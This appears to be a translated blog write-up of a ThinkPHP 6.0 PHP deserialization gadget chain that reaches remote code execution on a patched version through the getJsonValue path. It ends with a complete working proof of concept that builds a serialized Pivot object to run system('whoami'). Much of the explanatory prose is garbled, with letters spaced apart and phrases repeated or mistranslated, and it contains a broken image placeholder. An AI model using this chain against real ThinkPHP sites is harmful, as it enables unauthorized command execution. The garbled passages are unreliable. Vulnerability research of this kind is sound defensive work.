ThinkPHP6.0 deserialization vulnerability
preface
In learning the master's thinkphp6 Recurrence of deserialization vulnerability in 0. X article I found that the TP version I downloaded was the repaired version. So change the old chain to reach RCE. Before reading this article, let's take a look at the above-mentioned master's article.
Repair place
__ destruct chain triggers go the same way
__ The final utilization point of toString chain is different
In the old version, line 499 else in the trait Attribute is where the dynamic function is finally executed, so you need to bypass the if statement in line 496.
However, when I reproduce it, I find that the new version has been changed. Even if the if statement at 496 is bypassed, the following statements will be judged in the else statement.
if ($closure instanceof \Closure)
It will again judge whether $closure is a closure function, so the original chain is broken here. I can't think of how to bypass this statement.
Loophole recurrence
Suddenly I see a comment that says $close is a dynamic function getter, so I wonder if there are similar statements elsewhere.
$value = $closure($value, $this->data);
So it is found that it is also in line 539 of the trait Attribute. Has a similar structure.
See where the getJsonValue function is called.
I didn't expect it too__ The toString chain is called at line 498, but instead of entering the old chain, we enter the following else statement. So we have to enter the if statement at line 496.. f i l e n a m e yes used chain in filename is in the old chain filename is the key value in this - > data [] in the old chain. Bypass in_array($fieldName, t h i s − > j s o n ) stay This - > JSON) This − > JSON) set a value in this - > JSON to f i l e n a m e ( p s : wrong key value ) . Round too i s a r r a y ( filename(ps: non key value). Bypass is_array( filename(ps: non key value). Bypass isa delay (this - > withattr)[ f i e l d N a m e ] ) ) , fieldName])), fieldName]), this - > withattr [] contains eleven arrays of values whose key value is $fieldName.
Enter getJsonValue.
v a l u e by value is value is this - > data[ f i l e n a m e ] of value . and filename]. and Filename]. And name is the $filename of the previous function
Enter the loop because the above bypasses is_array( t h i s − > w i t h A t t r [ this->withAttr[ this − > withattr [fieldname]), so t h i s − > w i t h A t t r [ this->withAttr[ this − > withattr [fieldname] is the form of an array. Next, set t h i s − > j s o n A s s o c by t r u e . place with can with structure make This - > jsonassoc is true. So it can be constructed This − > jsonassoc is true. Therefore, this - > withattr can be constructed in the following form
private $withAttr = ["key"=>["key1"=>"system"]];
such c l o s u r e Just Obtain have to Yes s y s t e m . see see it of ginseng number closure gets the system. Look at its parameters closure gets the system. Look at its parameter value[ k e y ] , and key], and key], and value is t h i s − > d a t a [ this->data[ This − > the value of data [filename], so $this - > data can be constructed as the following form
private $data = ["key" => ["key1" => "whoami"]];
[the external chain image transfer fails. The source station may have an anti-theft chain mechanism. It is recommended to save the image and upload it directly (img-dhlu5jiu-1642735407615) (C: \ users \ 86150 \ appdata \ roaming \ typora user images \ image-20220121110540925. PNG)]
Different from the old chain POC, in the trait Attribute
trait Attribute { private $data = ["key" => ["key1" => "whoami"]]; private $withAttr = ["key"=>["key1"=>"system"]]; protected $json = ["key"]; }
Add protected $jsonAssoc to Medol; And set its value to true.
abstract class Model { use model\concern\Attribute; private $lazySave; protected $withEvent; private $exists; private $force; protected $table; protected $jsonAssoc; function __construct($obj = '') { $this->lazySave = true; $this->withEvent = false; $this->exists = true; $this->force = true; $this->table = $obj; $this->jsonAssoc = true; } }
Other conditions are the same.
Complete POC
<?php namespace think\model\concern; trait Attribute { private $data = ["key" => ["key1" => "whoami"]]; private $withAttr = ["key"=>["key1"=>"system"]]; protected $json = ["key"]; } namespace think; abstract class Model { use model\concern\Attribute; private $lazySave; protected $withEvent; private $exists; private $force; protected $table; protected $jsonAssoc; function __construct($obj = '') { $this->lazySave = true; $this->withEvent = false; $this->exists = true; $this->force = true; $this->table = $obj; $this->jsonAssoc = true; } } namespace think\model; use think\Model; class Pivot extends Model { } $a = new Pivot(); $b = new Pivot($a); echo urlencode(serialize($b));